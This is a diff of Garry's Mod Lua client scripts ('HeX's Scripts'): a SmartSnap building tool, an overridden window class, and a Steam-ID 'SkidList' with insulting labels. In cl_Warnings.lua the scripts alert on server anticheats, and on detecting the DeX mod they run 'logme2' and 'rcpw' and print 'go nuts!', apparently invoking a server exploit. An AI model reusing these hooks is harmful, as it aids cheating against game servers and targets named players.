lsw = entity:LocalToWorld(Vector(obbmin.x, obbmin.y, obbmin.z)), + lse = entity:LocalToWorld(Vector(obbmax.x, obbmin.y, obbmin.z)), + lnw = entity:LocalToWorld(Vector(obbmin.x, obbmax.y, obbmin.z)), + lne = entity:LocalToWorld(Vector(obbmax.x, obbmax.y, obbmin.z)), + usw = entity:LocalToWorld(Vector(obbmin.x, obbmin.y, obbmax.z)), + use = entity:LocalToWorld(Vector(obbmax.x, obbmin.y, obbmax.z)), + unw = entity:LocalToWorld(Vector(obbmin.x, obbmax.y, obbmax.z)), + une = entity:LocalToWorld(Vector(obbmax.x, obbmax.y, obbmax.z)), + } +end + +local function OnPaintHUD() + target.active = false + + if GetConVarNumber("snap_clickgrid") != 0 and !snapclick then return end + + snapclickprev = snapclick + snapclick = snapclickprev and snapclickfade > CurTime() + + if (GetConVarNumber("snap_enabled") == 0) then return end + if (!LocalPlayer():Alive() or LocalPlayer():InVehicle()) then return end + + if (target.locked) then + if (!target.entity:IsValid()) then return end + else + local trace = LocalPlayer():GetEyeTrace() + cache.vLookTrace = trace + if (!trace.HitNonWorld) then return end + + local entity = trace.Entity + if (entity == nil) then return end + if (!entity:IsValid()) then return end + + local class = entity:GetClass() + if (class != 'prop_physics' and class != 'phys_magnet' and class != 'gmod_spawner' and GetConVarNumber('snap_allentities') == 0) then return end + + if (!LocalPlayer():GetActiveWeapon():IsValid()) then return end + if (LocalPlayer():GetActiveWeapon():GetClass() == 'weapon_physgun') then return end + if (LocalPlayer():GetActiveWeapon():GetClass() != 'gmod_tool' and GetConVarNumber('snap_alltools') == 0) then return end + + target.entity = entity + end + + --ErrorNoHalt(collectgarbage("count")) + if GetConVarNumber("snap_gcboost") != 0 then + collectgarbage("step", GetConVarNumber("snap_gcstrength")) + end + + snapclick = snapclickprev + snapclickfade = CurTime() + 0.25 + + -- updating the cache perhaps shouldn't be done here, CalcView? + cache.vLookPos = LocalPlayer():GetShootPos() + cache.vLookVector = LocalPlayer():GetCursorAimVector() + cache.vLookClipPos = cache.vLookPos + cache.vLookVector * 3 + + local model = string.lower(target.entity:GetModel()) + local offsets = modeloffsets[model] + + if !offsets then + local offset = 0.25 + offsets = { offset, offset, offset, offset, offset, offset } + end + + if cache.eEntity != target.entity or cache.vEntAngles != target.entity:GetAngles() or vEntPosition != target.entity:GetPos() then + cache.eEntity = target.entity + cache.vEntAngles = target.entity:GetAngles() + cache.vEntPosition = target.entity:GetPos() + + local obbmax = target.entity:OBBMaxs() + local obbmin = target.entity:OBBMins() + local obvsnap = ComputeEdges(target.entity, obbmax, obbmin) + + local obbmax = target.entity:OBBMaxs() - Vector(offsets[5], offsets[3], offsets[1]) + local obbmin = target.entity:OBBMins() + Vector(offsets[6], offsets[4], offsets[2]) + local obvgrid = ComputeEdges(target.entity, obbmax, obbmin) + + local faces = { + { obvgrid.unw, obvgrid.usw - obvgrid.unw, obvgrid.une - obvgrid.unw, obvgrid.lnw - obvgrid.unw, Vector(0, 0, -offsets[1]) }, + { obvgrid.lsw, obvgrid.lnw - obvgrid.lsw, obvgrid.lse - obvgrid.lsw, obvgrid.usw - obvgrid.lsw, Vector(0, 0, offsets[2]) }, + { obvgrid.unw, obvgrid.une - obvgrid.unw, obvgrid.lnw - obvgrid.unw, obvgrid.usw - obvgrid.unw, Vector(0, -offsets[3], 0) }, + { obvgrid.usw, obvgrid.lsw - obvgrid.usw, obvgrid.use - obvgrid.usw, obvgrid.unw - obvgrid.usw, Vector(0, offsets[4], 0) }, + { obvgrid.une, obvgrid.use - obvgrid.une, obvgrid.lne - obvgrid.une, obvgrid.unw - obvgrid.une, Vector(-offsets[5], 0, 0) }, + { obvgrid.unw, obvgrid.lnw - obvgrid.unw, obvgrid.usw - obvgrid.unw, obvgrid.une - obvgrid.unw, Vector( offsets[6], 0, 0) }, + } + + cache.aGrid = obvgrid + cache.aSnap = obvsnap + cache.aFaces = faces + end + + local obvgrid = cache.aGrid + local obvsnap = cache.aSnap + local faces = cache.aFaces + + if (!target.locked) then + -- should improve this by expanding the bounding box or something instead! + -- create a larger bounding box and then planes for each side, and check distance from the plane + -- separate function perhaps? + local distance = (LocalPlayer():GetPos() - target.entity:GetPos()):Length() - (obvgrid.unw - obvgrid.lse):Length() + if (distance > GetConVarNumber("snap_distance")) then return end + + for face,vertices in ipairs(faces) do + intersection = RayQuadIntersect(cache.vLookPos, cache.vLookVector, vertices[1], vertices[2], vertices[3]) + if (intersection) then + target.face = face + break + end + end + + if intersection == nil then return end + end + + if (GetConVarNumber("snap_boundingbox") != 0) then + DrawBoundary(obvgrid.unw, obvgrid.lnw, obvgrid.usw, obvgrid.une) + DrawBoundary(obvgrid.une, obvgrid.lne, obvgrid.use, obvgrid.unw) + DrawBoundary(obvgrid.lnw, obvgrid.unw, obvgrid.lsw, obvgrid.lne) + DrawBoundary(obvgrid.lne, obvgrid.une, obvgrid.lse, obvgrid.lnw) + DrawBoundary(obvgrid.usw, obvgrid.lsw, obvgrid.unw, obvgrid.use) + DrawBoundary(obvgrid.use, obvgrid.lse, obvgrid.une, obvgrid.usw) + DrawBoundary(obvgrid.lsw, obvgrid.usw, obvgrid.lnw, obvgrid.lse) + DrawBoundary(obvgrid.lse, obvgrid.use, obvgrid.lne, obvgrid.lsw) + end + + local vectorOrigin = faces[target.face][1] + local vectorX = faces[target.face][2] + local vectorY = faces[target.face][3] + local vectorZ = faces[target.face][4] + local vectorOffset = faces[target.face][5] + + local vectorGrid + + if (!target.locked) then + vectorGrid = vectorOrigin + CalculateSnap(vectorX, vectorY, intersection) + + local trace = util.TraceLine({ + start = target.entity:LocalToWorld(target.entity:WorldToLocal(vectorGrid) - vectorOffset) - vectorZ:GetNormalized() * 0.01, + endpos = vectorGrid + vectorZ, + }) + + local vectorSnap = trace.HitPos + target.offset = target.entity:WorldToLocal(vectorSnap) + target.vector = target.entity:WorldToLocal(vectorGrid) + + target.error = true + + if (trace.Entity == nil or !trace.Entity:IsValid()) then + snaperror = -1 + elseif (trace.Entity != target.entity) then + snaperror = -2 + elseif (trace.HitPos == trace.StartPos) then + snaperror = -2 + else + snaperror = (LocalPlayer():GetEyeTrace().HitPos - trace.HitPos):Length() + target.error = false + + if ((vectorSnap - vectorGrid):Length() > 0.5) then + local marker = PointToScreen(vectorSnap) + + if (marker) then + DrawSnapCross(marker, 255, 255, 255) + end + end + end + else + vectorGrid = target.entity:LocalToWorld(target.vector) + local vectorSnap = target.entity:LocalToWorld(target.offset) + + local marker = PointToScreen(vectorSnap) + snaperror = (LocalPlayer():GetEyeTrace().HitPos - vectorSnap):Length() + + if (marker) then + if (target.error == true) then + snaperror = -2 + DrawSnapCross(marker, 0, 255, 255) + elseif (snaperror < 0.001) then + DrawSnapCross(marker, 0, 255, 0) + elseif (snaperror < 0.1) then + DrawSnapCross(marker, 255, 255, 0) + else + DrawSnapCross(marker, 255, 0, 0) + end + end + end + + if (GetConVarNumber("snap_hidegrid") == 0) then + DrawGrid(vectorOrigin, vectorX, vectorY) + end + + target.active = true + + local vsCursor = PointToScreen(vectorGrid) + + if (vsCursor) then + if (snaperror == -1) then + target.active = false + DrawSnapCross(vsCursor, 0, 255, 255) + elseif (snaperror == -2) then + DrawSnapCross(vsCursor, 255, 0, 255) + elseif (snaperror < 0.001) then + DrawSnapCross(vsCursor, 0, 255, 0) + elseif (snaperror < 0.1) then + DrawSnapCross(vsCursor, 255, 255, 0) + else + DrawSnapCross(vsCursor, 255, 0, 0) + end + end +end + +local function OnSnapView(player, origin, angles, fov) + local targetvalid = target.active and target.locked and target.entity:IsValid() + local snaptargetvalid = snaptarget.active and snaptarget.locked and snaptarget.entity:IsValid() + + if (snapcursor and !snapspawnmenu and targetvalid) then + local screen = ToScreen(target.entity:LocalToWorld(target.offset)) + gui.SetMousePos(math.Round(screen.x), math.Round(screen.y)) + end + + if (!snapcursor and targetvalid) then + return {angles = (target.entity:LocalToWorld(target.offset) - player:GetShootPos()):Angle()} + elseif (snaplock and snaptargetvalid) then + return {angles = (snaptarget.entity:LocalToWorld(snaptarget.offset) - player:GetShootPos()):Angle()} + end +end + +local function OnSnapAim(user) + local targetvalid = target.active and target.locked and target.entity:IsValid() + local snaptargetvalid = snaptarget.active and snaptarget.locked and snaptarget.entity:IsValid() + + if (!snapcursor and targetvalid) then + user:SetViewAngles((target.entity:LocalToWorld(target.offset) - LocalPlayer():GetShootPos()):Angle()) + elseif (snaplock and snaptargetvalid) then + user:SetViewAngles((snaptarget.entity:LocalToWorld(snaptarget.offset) - LocalPlayer():GetShootPos()):Angle()) + end +end + +concommand.Add("+snap2", SnapPress) +concommand.Add("-snap2", SnapRelease) +concommand.Add("snaplock2", SnapLock) +concommand.Add("snaptogglegrid2", SnapToggleGrid) + + +hook.Add("Initialize", "SmartsnapInitialize2", OnInitialize) + +hook.Add("SpawnMenuOpen", "SmartsnapSpawnMenu2", OnSpawnMenu) + +hook.Add("Think", "SmartsnapThink2", OnThink) +hook.Add("ShutDown", "SmartsnapShutDown2", OnShutDown) + +hook.Add("KeyPress", "SmartsnapKeyPress2", OnKeyPress) +hook.Add("KeyRelease", "SmartsnapKeyRelease2", OnKeyRelease) + +hook.Add("CreateMove", "SmartsnapSnap2", OnSnapAim) +hook.Add("CalcView", "SmartsnapSnapView2", OnSnapView) + +hook.Add("SpawnMenuOpen", "SmartsnapSpawnMenu2", OnSpawnMenu) + +hook.Add("HUDPaintBackground", "SmartsnapPaintHUD2", OnPaintHUD) + + +local function OnPopulateToolPanel(panel) + panel:AddControl("ComboBox", { + Options = { ["default"] = condefs }, + CVars = convars, + Label = "", + MenuButton = "1", + Folder = "smartsnap" + }) + + panel:AddControl("CheckBox", { + Label = "Enable", + Command = "snap_enabled", + }) + + panel:AddControl("CheckBox", { + Label = "Use click grid (USE temporarily enables grid)", + Command = "snap_clickgrid", + }) + + panel:AddControl("CheckBox", { + Label = "Hide grid (only shows snap point)", + Command = "snap_hidegrid", + }) + + panel:AddControl("CheckBox", { + Label = "Smart toggle enabled", + Command = "snap_enabletoggle", + }) + + panel:AddControl("CheckBox", { + Label = "Revert aim to grid snap on detach", + Command = "snap_revertaim", + }) + + panel:AddControl("CheckBox", { + Label = "Enable for all entities", + Command = "snap_allentities", + }) + + panel:AddControl("CheckBox", { + Label = "Enable for all tools", + Command = "snap_alltools", + }) + + panel:AddControl("CheckBox", { + Label = "Draw thick center lines", + Command = "snap_centerline", + }) + + panel:AddControl("Slider", { + Label = "Grid toggle delay (double click snap-key)", + Command = "snap_toggledelay", + Type = "Float", + Min = "0.0", + Max = "0.2", + }) + + panel:AddControl("Slider", { + Label = "Smart lock delay", + Command = "snap_lockdelay", + Type = "Float", + Min = "0.0", + Max = "5.0", + }) + + panel:AddControl("CheckBox", { + Label = "Bounding box enabled", + Command = "snap_boundingbox", + }) + + panel:AddControl("Slider", { + Label = "Grid draw distance", + Command = "snap_distance", + Type = "Integer", + Min = "50", + Max = "1000", + }) + + panel:AddControl("Slider", { + Label = "Grid edge offset", + Command = "snap_gridoffset", + Type = "Float", + Min = "0.0", + Max = "2.5", + }) + + panel:AddControl("Slider", { + Label = "Grid transparency", + Command = "snap_gridalpha", + Type = "Float", + Min = "0.1", + Max = "1.0", + }) + + panel:AddControl("Slider", { + Label = "Maximum number of snap points on an axis", + Command = "snap_gridlimit", + Type = "Integer", + Min = "2", + Max = "64", + }) + + panel:AddControl("Slider", { + Label = "Minimum distance between each snap point", + Command = "snap_gridsize", + Type = "Integer", + Min = "2", + Max = "64", + }) + + + panel:AddControl("Label", { + Text = "" + }) + + panel:AddControl("Label", { + Text = "The following option should prevent FPS drops from occuring, however it might have a slight impact on the average FPS while the grid is showing. Do NOT uncheck this option unless you are experiencing very low FPS or fully understands its purpose." + }) + + panel:AddControl("Label", { + Text = "NOTE: This option is only effective when the grid is showing, it does not impact regular gameplay!" + }) + + panel:AddControl("Label", { + Text = "" + }) + + panel:AddControl("CheckBox", { + Label = "Garbage collection boost", + Command = "snap_gcboost", + }) +end + +function OnPopulateToolMenu() + spawnmenu.AddToolMenuOption("Options", "Player", "SmartSnapSettings", "SmartSnap", "", "", OnPopulateToolPanel, {SwitchConVar = 'snap_enabled'}) +end + +hook.Add("PopulateToolMenu", "SmartSnapToolMenu", OnPopulateToolMenu) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Warnings.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Warnings.lua new file mode 100644 index 0000000..6840328 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Warnings.lua @@ -0,0 +1,176 @@ + + +--- === AC Warning === --- +local function ACWarning() + if HeXGlobal_AC and not HACInstalled then + chat.AddText(WHITE,"This server has an ", RED, "Anticheat!") + surface.PlaySound( Sound("ambient/machines/thumper_shutdown1.wav") ) + end +end +timer.Simple(1, ACWarning) +--- === /AC Warning === --- + + +--- === DeX Warning === --- +local function DeXWarning() + if DeX then + timer.Destroy("DeXCheck") + + RunConsoleCommand("logme2", "DeXServer") + RunConsoleCommand("rcpw") + chat.AddText(WHITE,"This server has ", RED, "DeX", WHITE, ", go nuts!") + surface.PlaySound( Sound("ambient/machines/thumper_shutdown1.wav") ) + end +end +timer.Create("DeXCheck", 1, 0, DeXWarning) +--- === /DeX Warning === --- + + + + + + + +--- === NUKE Warning === --- +local Nukes = { + ["bomb_sent_atomic_bomb"] = true, + ["briefcase_sent_atomic_bomb"] = true, + ["canister_sent_atomic_bomb"] = true, + ["cannonball_sent_atomic_bomb"] = true, + ["cone_sent_atomic_bomb"] = true, + ["crate_sent_atomic_bomb"] = true, + ["hopnuke"] = true, + ["hopnuke_trap"] = true, + ["kfc_sent_atomic_bomb"] = true, + ["lego_sent_atomic_bomb"] = true, + ["mario_sent_atomic_bomb"] = true, + ["melon_sent_atomic_bomb"] = true, + ["mk-82_sent_atomic_bomb"] = true, + ["mk-82-fragile_sent_atomic_bomb"] = true, + ["sent_explosion_scaleablenuke1"] = true, + ["sent_explosion_scaleablenuke2"] = true, + ["sent_explosion_scaleablenuke3"] = true, + ["sent_explosion_scaleablenuke6"] = true, + ["sent_explosion_scaleablenuke7"] = true, + ["sent_nuke"] = true, + ["sent_nuke_awesomecube"] = true, + ["sent_nuke_detpack"] = true, + ["sent_nuke_melon"] = true, + ["sent_nuke_missile"] = true, + ["sent_nuke_radiation"] = true, + ["sent_nuke_radiation2"] = true, + ["sent_nuke_radiation3"] = true, + ["sent_nuke_radiation4"] = true, + ["sent_nuke_radiation5"] = true, + ["sent_nuke_radiation6"] = true, + ["sent_nuke_radiation7"] = true, + ["sent_nuke_radiation8"] = true, + ["sent_nuke1"] = true, + ["sent_nuke100"] = true, + ["sent_nuke100mt"] = true, + ["sent_nuke2"] = true, + ["sent_nuke200"] = true, + ["sent_nuke200mt"] = true, + ["sent_nuke3"] = true, + ["sent_nuke300"] = true, + ["sent_nuke300mt"] = true, + ["sent_nuke400"] = true, + ["sent_nuke400mt"] = true, + ["sent_nuke50"] = true, + ["sent_nuke500"] = true, + ["sent_nuke500mt"] = true, + ["sent_nuke50mt"] = true, + ["sent_nuke6"] = true, + ["sent_nuke7"] = true, + ["sent_nukegrenade"] = true, + ["sent_nukesmall"] = true, + ["soda_sent_atomic_bomb"] = true, + ["sofa_sent_atomic_bomb"] = true, + ["vendingmachine_sent_atomic_bomb"] = true, + ["waluigiracket_sent_atomic_bomb"] = true, + + ["barrel_sent_atomic_bomb"] = true, + ["barrel_sent_he_missile"] = true, + ["briefcase_sent_atomic_bomb"] = true, + ["briefcase_sent_he_missile"] = true, + ["canister_sent_atomic_bomb"] = true, + ["crate_sent_atomic_bomb"] = true, + ["explosive_car"] = true, + ["mario_sent_atomic_bomb"] = true, + ["melon_sent_atomic_bomb"] = true, + ["melon_sent_he_missile"] = true, + ["MK-82_sent_atomic_bomb"] = true, + ["MK-82_sent_he_missile"] = true, + ["MK-82-fragile_sent_atomic_bomb"] = true, + ["sent_explosion_scaleable"] = true, + ["sent_nuke_radiation"] = true, + ["sent_tnt"] = true, + ["soda_sent_atomic_bomb"] = true, + ["soda_sent_he_missile"] = true, + + ["sent_nuke_missile"] = true, + ["sent_nuke_detpack"] = true, + ["sent_nuke"] = true, + + ["nuke_explosion"] = true, + ["sent_nuke_bomb"] = true, + ["nuke_missile"] = true, +} + +local Explosions = { + ["nuke_explosion"] = true, + ["sent_nuke"] = true, +} + +local Create = Sound("npc/attack_helicopter/aheli_damaged_alarm1.wav") +local Explode = Sound("npc/attack_helicopter/aheli_mine_drop1.wav") + + +local function Warning(ent,egc,str,snd) + local Owner = NULL + if CPPI then + Owner = ent:CPPIGetOwner() + end + + if ValidEntity(Owner) then + chat.AddText(GREEN,"[", BLUE,"HeX", GREEN,"] ", RED, str, Owner:TeamColor(), " ("..Owner:Nick()..")") + else + chat.AddText(GREEN,"[", BLUE,"HeX", GREEN,"] ", RED, str) + end + surface.PlaySound(snd) + + notification.AddLegacy(str, NOTIFY_ERROR, 6) +end + +function HeX.LaunchDetected(ent) + if ValidEntity(ent) then + local egc = ent:GetClass() + + if Nukes[egc] then + if Explosions[egc] then + Warning(ent, egc, "Nuclear detonation!", Create) + else + Warning(ent, egc, "Nuclear launch detected!", Explode) + end + end + end +end +hook.Add("OnEntityCreated", "HeX.LaunchDetected", HeX.LaunchDetected) + +timer.Simple(1, function() + if HSP then + hook.Remove("OnEntityCreated", "HeX.LaunchDetected") + print("[HeX] Removing custom LaunchDetected, loading HSP's") + end +end) +--- === NUKE Warning === --- + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_DFrame.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_DFrame.lua new file mode 100644 index 0000000..94e4489 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_DFrame.lua @@ -0,0 +1,247 @@ +/* _ + ( ) + _| | __ _ __ ___ ___ _ _ + /'_` | /'__`\( '__)/' _ ` _ `\ /'_` ) +( (_| |( ___/| | | ( ) ( ) |( (_| | +`\__,_)`\____)(_) (_) (_) (_)`\__,_) + + DFrame + + A window. ==With fixed close button from Integra, DFrame.lua U135== + */ print("[OK] Custom DFrame loaded") /* +*/ + +PANEL = {} + +AccessorFunc( PANEL, "m_bDraggable", "Draggable", FORCE_BOOL ) +AccessorFunc( PANEL, "m_bSizable", "Sizable", FORCE_BOOL ) +AccessorFunc( PANEL, "m_bScreenLock", "ScreenLock", FORCE_BOOL ) +AccessorFunc( PANEL, "m_bDeleteOnClose", "DeleteOnClose", FORCE_BOOL ) +AccessorFunc( PANEL, "m_iMinWidth", "MinWidth" ) +AccessorFunc( PANEL, "m_iMinHeight", "MinHeight" ) + +AccessorFunc( PANEL, "m_bBackgroundBlur", "BackgroundBlur", FORCE_BOOL ) + +derma.GetAll = {} +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Init() + + self:SetFocusTopLevel( true ) + +// self:SetCursor( "sizeall" ) + + self.btnClose = vgui.Create( "DSysButton", self ) + self.btnClose:SetType( "close" ) + self.btnClose.DoClick = function ( button ) self:Close() end + self.btnClose:SetDrawBorder( false ) + self.btnClose:SetDrawBackground( false ) + --hex + self.btnClose:SetVisible(true) + self.btnClose.SetVisible = function() return end + --/hex + self.lblTitle = vgui.Create( "DLabel", self ) + self.lblTitle:SetExpensiveShadow( 1, Color( 0, 0, 0, 100 ) ) + self.lblTitle:SetTextColor( Color( 255, 255, 255, 255 ) ) + + self:SetDraggable( true ) + self:SetSizable( false ) + self:SetScreenLock( false ) + self:SetDeleteOnClose( true ) + self:SetTitle( "#Untitled DFrame" ) + + self:SetMinWidth( 50 ); + self:SetMinHeight( 50 ); + + // This turns off the engine drawing + self:SetPaintBackgroundEnabled( false ) + self:SetPaintBorderEnabled( false ) + + self.m_fCreateTime = SysTime() + + self:DockPadding( 5, 26, 5, 5 ) + table.insert(derma.GetAll, self) --hex +end + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:ShowCloseButton( bShow ) + --hex + self.btnClose:SetVisible(true) --self.btnClose:SetVisible(bShow) + --/hex +end + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:SetTitle( strTitle ) + --hex + self.lblTitle:SetText("[#] "..strTitle.." [#]") --self.lblTitle:SetText( strTitle ) + --/hex +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Close() + hook.Call("HeXCloseDFrame", nil, self) --hex + self:SetVisible( false ) + + if ( self:GetDeleteOnClose() ) then + self:Remove() + end + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Center() + + self:InvalidateLayout( true ) + self:SetPos( ScrW()/2 - self:GetWide()/2, ScrH()/2 - self:GetTall()/2 ) + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Think() + + if (self.Dragging) then + + local x = gui.MouseX() - self.Dragging[1] + local y = gui.MouseY() - self.Dragging[2] + + // Lock to screen bounds if screenlock is enabled + if ( self:GetScreenLock() ) then + + x = math.Clamp( x, 0, ScrW() - self:GetWide() ) + y = math.Clamp( y, 0, ScrH() - self:GetTall() ) + + end + + self:SetPos( x, y ) + + end + + + if ( self.Sizing ) then + + local x = gui.MouseX() - self.Sizing[1] + local y = gui.MouseY() - self.Sizing[2] + local px, py = self:GetPos() + + if ( x < self.m_iMinWidth ) then x = self.m_iMinWidth elseif ( x > ScrW() - px and self:GetScreenLock() ) then x = ScrW() - px end + if ( y < self.m_iMinHeight ) then y = self.m_iMinHeight elseif ( y > ScrH() - py and self:GetScreenLock() ) then y = ScrH() - py end + + self:SetSize( x, y ) + self:SetCursor( "sizenwse" ) + return + + end + + if ( self.Hovered && + self.m_bSizable && + gui.MouseX() > (self.x + self:GetWide() - 20) && + gui.MouseY() > (self.y + self:GetTall() - 20) ) then + + self:SetCursor( "sizenwse" ) + return + + end + + if ( self.Hovered && self:GetDraggable() && gui.MouseY() < (self.y + 20) ) then + self:SetCursor( "sizeall" ) + return + end + + self:SetCursor( "arrow" ) + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:Paint() + + if ( self.m_bBackgroundBlur ) then + Derma_DrawBackgroundBlur( self, self.m_fCreateTime ) + end + + derma.SkinHook( "Paint", "Frame", self ) + return true + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:OnMousePressed() + + if ( self.m_bSizable ) then + + if ( gui.MouseX() > (self.x + self:GetWide() - 20) && + gui.MouseY() > (self.y + self:GetTall() - 20) ) then + + self.Sizing = { gui.MouseX() - self:GetWide(), gui.MouseY() - self:GetTall() } + self:MouseCapture( true ) + return + end + + end + + if ( self:GetDraggable() && gui.MouseY() < (self.y + 20) ) then + self.Dragging = { gui.MouseX() - self.x, gui.MouseY() - self.y } + self:MouseCapture( true ) + return + end + + + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:OnMouseReleased() + + self.Dragging = nil + self.Sizing = nil + self:MouseCapture( false ) + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:PerformLayout() + + derma.SkinHook( "Layout", "Frame", self ) + +end + + +/*--------------------------------------------------------- + +---------------------------------------------------------*/ +function PANEL:IsActive() + + if ( self:HasFocus() ) then return true end + if ( vgui.FocusedHasParent( self ) ) then return true end + + return false + +end + + +derma.DefineControl( "DFrame", "A simpe window", PANEL, "EditablePanel" ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_SkidList.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_SkidList.lua new file mode 100644 index 0000000..294239c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/hx_SkidList.lua @@ -0,0 +1,4157 @@ + +SHers = { + ["STEAM_0:0:40618282"] = {Name = "CrowBarGaming: [FaceWAN] ToxicGaming", Skid = true}, + ["STEAM_0:0:38131040"] = {Name = "CrowBarGaming: 6 Year Old", Skid = true}, + ["STEAM_0:1:34158607"] = {Name = "CrowBarGaming: Dutchess", Skid = true}, + ["STEAM_0:1:19955728"] = {Name = "CrowBarGaming: MegaDeath", Skid = true}, + ["STEAM_0:0:29171828"] = {Name = "CrowBarGaming: |GoG| Geno", Skid = true}, + ["STEAM_0:1:18955317"] = {Name = "CrowBarGaming: dick licker", Skid = true}, + ["STEAM_0:1:44305994"] = {Name = "CrowBarGaming: [LG] Suidispar", Skid = true}, + ["STEAM_0:1:25194873"] = {Name = "CrowBarGaming: [Gmod.biZ] Psycho", Skid = true}, + ["STEAM_0:0:41968250"] = {Name = "CrowBarGaming: Dr. Lazercat", Skid = true}, + ["STEAM_0:1:18804055"] = {Name = "CrowBarGaming: Barrowsx", Skid = true}, + ["STEAM_0:1:38581282"] = {Name = "CrowBarGaming: iTerrorist", Skid = true}, + ["STEAM_0:1:48767729"] = {Name = "CrowBarGaming: Bigtitties", Skid = true}, + ["STEAM_0:1:52702523"] = {Name = "CrowBarGaming: [UG]Inthemistofpuppies", Skid = true}, + ["STEAM_0:0:17231232"] = {Name = "CrowBarGaming: ?CG? Nayr", Skid = true}, + ["STEAM_0:0:6941700"] = {Name = "CrowBarGaming: -TT- TheGoodDoctor", Skid = true}, + ["STEAM_0:1:31065547"] = {Name = "CrowBarGaming: D0nk3y ?", Skid = true}, + ["STEAM_0:0:41052557"] = {Name = "CrowBarGaming: soldier boy ", Skid = true}, + ["STEAM_0:1:19837486"] = {Name = "CrowBarGaming: Tactica1Sniper[NOSOUND]", Skid = true}, + ["STEAM_0:1:28279757"] = {Name = "CrowBarGaming: TC da KOT", Skid = true}, + ["STEAM_0:1:2237432"] = {Name = "CrowBarGaming: [TG] BlackSkullpie", Skid = true}, + ["STEAM_0:1:50747557"] = {Name = "CrowBarGaming:-T-N-T-)Shorrdykiller", Skid = true}, + ["STEAM_0:0:40457063"] = {Name = "CrowBarGaming: Aspergers", Skid = true}, + ["STEAM_0:1:30881427"] = {Name = "CrowBarGaming: Sadowlagg", Skid = true}, + ["STEAM_0:0:37946696"] = {Name = "CrowBarGaming: Duex", Skid = true}, + ["STEAM_0:1:15641236"] = {Name = "CrowBarGaming: Mangos", Skid = true}, + ["STEAM_0:0:33755804"] = {Name = "CrowBarGaming: Hank", Skid = true}, + ["STEAM_0:1:45039370"] = {Name = "CrowBarGaming: Paradox", Skid = true}, + ["STEAM_0:1:21352532"] = {Name = "CrowBarGaming: Ions. Jack Mehof", Skid = true}, + ["STEAM_0:1:23679392"] = {Name = "CrowBarGaming: I no scoped JFK", Skid = true}, + ["STEAM_0:1:49628817"] = {Name = "CrowBarGaming: Nnamdi Asomugha", Skid = true}, + + ["STEAM_0:0:41111643"] = {SH = true}, + ["STEAM_0:1:37836792"] = {SH = true}, + ["STEAM_0:0:48313826"] = {SH = true}, + ["STEAM_0:1:53421588"] = {SH = true}, + ["STEAM_0:1:23912071"] = {Name = "Nick", SH = true}, + ["STEAM_0:1:8823562"] = {Name = "Nick", SH = true}, + ["STEAM_0:1:42508615"] = {Name = "Nick Bigigdog", SH = true}, + ["STEAM_0:0:40895826"] = {Name = "FallDamage", SH = true}, + ["STEAM_0:1:10646772"] = {Name = "Henri", SH = true}, + ["STEAM_0:0:38268180"] = {Name = "Mercenary lord", SH = true}, + ["STEAM_0:0:29040768"] = {Name = "Mystic Ham", SH = true}, + ["STEAM_0:1:20005478"] = {Name = "haloplayha", SH = true}, + ["STEAM_0:1:37548052"] = {Name = "SP2", SH = true}, + ["STEAM_0:0:33673996"] = {Name = "Visa", SH = true}, + ["STEAM_0:0:1701425"] = {Name = "Redz", SH = true}, + ["STEAM_0:0:29239364"] = {Name = "lonnianton", SH = true}, + ["STEAM_0:1:2057323"] = {Name = "King_Czar, Devnull", SH = true}, + ["STEAM_0:1:26191563"] = {Name = "sgt.ketchup, Devnull", SH = true}, + ["STEAM_0:1:28985123"] = {Name = "Kevin, Devnull", SH = true}, + ["STEAM_0:0:25219666"] = {Name = "Blueman #2", SH = true}, + ["STEAM_0:0:29687209"] = {Name = "banhummer", SH = true}, + ["STEAM_0:1:43562499"] = {Name = "DDoS", SH = true}, + ["STEAM_0:0:17562748"] = {Name = "DDoS", SH = true}, + ["STEAM_0:0:50536798"] = {SH = true}, + ["STEAM_0:0:8615861"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:21373726"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:14690776"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:33763522"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:18460701"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:18816061"] = {Name = "SP2: Sethhack(leaked)", SH = true}, + ["STEAM_0:1:21748050"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:31866003"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:22240086"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:26262689"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:19254119"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:37311111"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:37641228"] = {Name = "SP2: Code Injection", SH = true}, + 